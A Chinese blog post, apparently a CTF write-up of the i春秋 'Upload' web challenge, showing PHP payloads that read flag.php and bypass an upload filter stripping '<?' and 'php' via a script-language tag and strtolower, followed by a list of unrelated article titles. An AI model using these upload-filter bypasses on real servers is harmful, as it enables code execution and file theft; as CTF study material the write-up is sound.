乔悟空-CTF-i春秋-Web-Upload
2024-10-09 10:57:17
2020.09.03
ai 做过的题,两天不看就忘了……
做题
题目
thinking……
打开网站
告诉了文件在flag.php中,所以写个php,把flag.php文件读取出来就行
盗来的php
<?php
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 1 //设置超时
)
)
);
echo file_get_contents("flag.php", 0, $ctx);
?>
这里一开始直接在连接后边访问上传的文件,访问不到……后来发现是上传到
/u
目录下了……
访问输出:
很明显能看出来这是把php的头给过滤了,然后找到了以下代码来代替
- 绕过
php
和<?
过滤
代码如下:
<script language='PHP'>
echo file_get_contents("../flag.".strtolower("PHP"));
</script>
经过测试,有几点要说:
- 上边我本来把flag.php改成flag.pHp,但是并不能成功,说明文件系统对文件后缀名也是有区分的。
- 文件被上传的路径可以通过表单源码进行查看
- ../
就是上一层目录下的文件
- 结果
总结
- php读取文件的几种方式
- fread、fgets、fgetss、file、readfile、file_get_contents、fpassthur
- 详细链接
<?
被过滤,用script
标签来绕过php
被过滤,用大写来绕过,可以用strtolower()
来变成小写- 服务器中文件,后缀名大小写也会有影响
最新文章
- java 旧url 处理的解决方法
- [LeetCode] Count Complete Tree Nodes 求完全二叉树的节点个数
- C++ --- Hellowrod
- PLSQL_性能优化系列13_Oracle Index Rebuild索引重建
- OpenGL ES 详解纹理生成和纹理映射步骤以及函数
- 定制自己的vue模版
- MongoDB的安装和使用
- js实现ctrl+v上传图片
- jgGrid pivot reload重新加载及刷新数据
- iOS开发-KVC和KVO的理解
- WinForm 之 应用程序开机自启动设置方法
- SpringBoot(三)-- 整合FreeMarker模板
- linux 下配置vncserver
- java.sql.SQLException: Access denied for user &#39;&#39;@&#39;localhost&#39; (using password: YES)
- Java - 慎用tagged class
- Odoo权限控制
- spring定时任务注解@Scheduled的记录
- 在Eclipse中开发angularjs
- 修改linux系统的时间EDT为CST
- 图解http读书笔记
热门文章
- centos7 重装ssh服务
- 无锁机制----比较交换CAS Compare And Swap
- TCP协议中的三次握手和四次挥手(图解)-转
- C++ Templates (1.1 初窥函数模板 A First Look at Function Templates)
- install-newton部署安装--------计算节点部署安装
- 团队作业1:团队展示&;选题(歪瑞古德小队)
- Django中views数据查询使用locals()函数进行优化
- Angular 学习思路
- 哇,ElasticSearch多字段权重排序居然可以这么玩
- java23种设计模式——四、原型模式